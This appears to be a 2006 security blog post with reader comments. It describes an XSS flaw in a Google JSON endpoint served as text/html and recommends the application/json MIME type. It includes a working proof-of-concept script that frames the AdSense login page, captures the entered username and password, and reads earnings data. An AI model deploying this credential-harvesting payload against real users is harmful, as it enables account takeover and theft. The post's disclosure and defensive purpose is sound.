Don't serve JSON as text/html
Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team.
The problem here was that the JSON was returned with a mime-type of text/html, a browser will render that as if it was an HTML page, even if it's really just a javascript snippet. The easiest way to protect against these is to ensure that all javascript recieved by the XMLHTTPRequest object is returned with a suitable mime-type - application/json That will mean even when you make a mistake and write un-encoded untrusted data to the document, it won't allow people to attack your site.
The google exploit was reported here, it's at the time of writing unpatched, unfortunately that was down to the discoverer not giving google any time to fix, whilst they have had their problems before, recently they have patched quickly, so this was not very fair, or wise. Google also appear to be taking testing their own services for security flaws more seriously, they recently had a presentation to the QA team that you can watch on Google Video.
As I've said before, the everything on a single domain causes problems, it means any exploit anywhere on the domain, allows you to exploit any service provided for the domain. This exploit is also present in https:// google, so to re-enforce the problem XSS can present to a user, and why XSS is not simply about cookie stealing. Here's a simple demonstration of using the exploit to steal username and password from google adsense.
The exploit is simply used to create an IFRAME that fills the document and points it to a google adsense login, when the user logs in, the username and password are alerted - also after logging in, then the "today's earnings" are alerted. Of course a real attacker would not alert these fields, but would sent them off to a site to be collected later. Are google adsense passwords useful? Would you notice if the address or account to get the cash changed until you'd not got the cheque?
The script code is simple, you don't need to be clever, and phishers generally aren't stupid, it takes brains to launder money.
The result is clear:document.body.innerHTML="<div><iframe src='https://www.google.com/adsense/report/overview'"+ " onload='go()' style='position:absolute;top:0;left:0;height:100%;width:100%;'></div>"; function go() { try { var win=window.frames[0]; win.document.body.style.overflow="hidden"; win.document.body.style.border="0px solid white"; var doc=win.frames[0].document.forms[0]; doc.onsubmit=function() { alert("Your adsense username and password are:\n"+ doc["Email"].value+'\nand\n'+doc["Passwd"].value); x=window.open(location.href); } } catch (e) { try { var win=window.frames[0]; var doc=win.document.body; var x="Today's Earnings:"+doc.getElementsByTagName('h1')[0]; alert(x.getElementsByTagName('span')[0].innerHTML.replace(" ","")); } catch (e) {} } }


Fri Jul 7 00:52:35 UTC+0100 2006 [...] Don’t serve JSON as text/html A detailed anatomy of an innovative XSS bug. Neat. Yet another reason to stick to Web architectural principles. (link) [del.icio.us/distobj] [...]
Fri Jul 7 05:34:11 UTC+0100 2006 how does application/json compare with text/javascript? i presume they are equivalent...any insights?
Fri Jul 7 09:06:00 UTC+0100 2006 text/javascript would be fine if it was javascript, often the JSON snippet is just a snippet of JSON, so then the json mime-type would be more appropriate - either way it would reduce the risk of being attacked.
Mon Jul 10 15:40:57 UTC+0100 2006 What would a non-javascript snippet of JavaScript Object Notation look like, I wonder?
Thu Jul 13 09:31:24 UTC+0100 2006 [...] http://jibbering.com/blog/?p=514 [...]
Thu Jul 20 11:27:59 UTC+0100 2006 It's really very useful information about google adsense login/password protection. Whereas the exploits explained above are mostly effect on IE or firefox?
Tue Aug 15 02:23:54 UTC+0100 2006 [...] Back from Michigan, and tired as heck from 5.5 hours of driving, Detroit to Chicago. I’m cruising through my inbox, and realizing how much I have to do this week. Oy! In any event, a great writeup by Jim Ley on a JSON XSS vulnerability when using “text/html” as the mimetype and some thoughts from Anna van Kesteren on using the role attribute for accessibility in html documents were waiting there. [...]
Tue Jan 30 20:28:48 UTC 2007 Thanks for this very good article ... Can i translate this and insert on my site in Poland? ... Thanks
Tue Mar 20 11:08:25 UTC+0100 2007 Serve JSON as text/javascript not application/json
Fri Apr 20 14:33:46 UTC+0100 2007 In response to "text/javascript": This MIME type is obsolete: http://www.iana.org/assignments/media-types/text/ On the other hand, "application/json" is standard: http://www.iana.org/assignments/media-types/application/ http://www.ietf.org/rfc/rfc4627.txt Regards, Helder
Tue Jul 17 21:10:32 UTC+0100 2007 and how will changing the mime type you serve a document as protect you? If a phisher already has enough control of a browser to inspect the ajax transaction, do you think mime type will really prevent them from getting this data?
Fri Aug 17 23:30:30 UTC+0100 2007 [...] Jibbering Musings » Don’t serve JSON as text/html (tags: json javascript security xss ajax google programming exploit development web) [...]
Mon Aug 20 17:53:54 UTC+0100 2007 [...] Don?t serve JSON as text/html Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team. The problem here was that the JSON was … [...]
Thu Oct 11 19:55:43 UTC+0100 2007 @pointless If you serve content as text/html, the browser will render it with JavaScript, iframes, etc. It is rendering this unsafe content that gives the phisher control. If you serve content as application/json, the browser will not render it as html. That's why setting the content type to application/json offers some protection against this type of XSS vulnerability.